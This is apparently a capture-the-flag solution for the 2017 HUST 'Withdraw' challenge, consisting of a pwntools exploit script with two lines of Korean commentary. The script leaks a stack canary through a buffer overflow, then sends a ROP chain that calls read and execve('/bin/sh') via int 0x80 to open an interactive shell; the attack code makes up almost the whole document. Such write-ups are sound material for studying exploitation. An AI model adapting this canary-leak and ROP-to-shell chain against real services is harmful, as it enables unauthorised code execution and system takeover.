[2017 HUST] Withdraw

from pwn import *
 
s = remote("127.0.0.1", 8888)
 
pppr = p32(0x806f280) # edx ecx ebx
eax = p32(0x8048882)
int80 = p32(0x806f870)
bss = p32(0x80ea3d0)
binsh = "/bin/sh"
print "[*] Start"
 
s.recvuntil(": ")
s.send("2\n")
s.recvuntil(") ")
s.send("y\n")
s.recvuntil(".\n")
s.send(("a"*64)+"x")
s.recvn(68)
 
canary = (u32(s.recvn(4))-0x78)
print "[*] Canary Leak : " + hex(canary)
canary = p32(canary)
 
s.recvuntil(": ")
s.send("1\n")
s.recvuntil(": ")
s.send("9047\n")
s.recvuntil(": ")
 
pay = ''
pay += "a" * 32
pay += canary
pay += "a" * 4
 
pay += pppr            #read(0,bss,7)
pay += p32(7)        
pay += bss        
pay += p32(0)        
 
pay += eax        
pay += p32(3)        #read
pay += int80
 
pay += pppr            #execve(bss,0,0)
pay += p32(0)
pay += p32(0)
pay += bss
 
pay += eax
pay += p32(11)        #execve
pay += int80
 
s.send(pay+'\n')
s.send(binsh+'\n')
 
s.interactive()

Statically Linked 문제는 처음 풀어봤다. Canary도 마찬가지.

peda의 ropsearch를 이용해서 적당한 가젯을 찾고. SystemCall을 이용한 ROP로 풀이된다.

ropsearch "int 0x80"